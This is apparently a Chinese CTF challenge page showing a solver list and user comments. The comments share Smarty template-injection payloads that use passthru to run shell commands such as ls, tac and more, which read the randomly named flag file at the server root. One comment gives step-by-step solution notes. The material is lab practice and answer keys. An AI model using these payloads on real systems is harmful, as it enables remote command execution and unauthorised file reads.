评分(13)
解题动态
huasan2410 攻破了该题 2小时前
hiworld 攻破了该题 1天前
xong_bai 攻破了该题 1天前
灵梦归希 攻破了该题 2天前
kimol 攻破了该题 2天前
wendy2023 攻破了该题 3天前
niubill 攻破了该题 5天前
Star666 攻破了该题 5天前
jun1223 攻破了该题 6天前
C071 攻破了该题 7天前
lover 攻破了该题 7天前
Mr.Cyber 攻破了该题 7天前
liyimanfan 攻破了该题 8天前
Brightt 攻破了该题 8天前
mechatengo 攻破了该题 12天前
saku688 攻破了该题 12天前
Vluae 攻破了该题 12天前
曾经的我们也被人羡慕 攻破了该题 13天前
狗等考拉 攻破了该题 13天前
评论
灵梦归希 2天前
举报
这道题可以加大难度的。把_14781改为flag.txt就可以了.只是套一层娃而已
icyskin 1月前
举报
http://160.202.254.160:17350/?key={{passthru(%27tail%20-100%20/_14781%27)}}
fuhaiyan 7月前
举报
?a={{passthru('more ../../../*|grep fla')}}
对对对对对对对对 8月前
举报
?key={{passthru(%27tac%20/_4427%27)}}
anony 1年前
举报
flag{********}
人闲桂花落 1年前
举报
tac命令读取也可
docker0w 1年前
举报
1. 随意构造URL参数获取源代码信息 ?test=test 2. 根据源代码得知使用Smarty 并搜索得知存在模板注入漏洞 3. 根据已过滤函数，使用passthru函数即可回显 4. 使用passthru执行命令 ls -a / 得到根据下存在start.sh 脚本信息 5. 根据脚本信息得知flag为随机生成在根路径下 且使用_下划线文件明名 6. 使用show_source获
bx33661 2年前
举报
?key={passthru("tac%20/_28710")}
yun20231227 2年前
举报
?key={{passthru('ls /')}}
xinkuang 2年前
举报
http://114.67.175.224:13208/?a={if%20passthru(%22more%20/_30010%22)}{/if}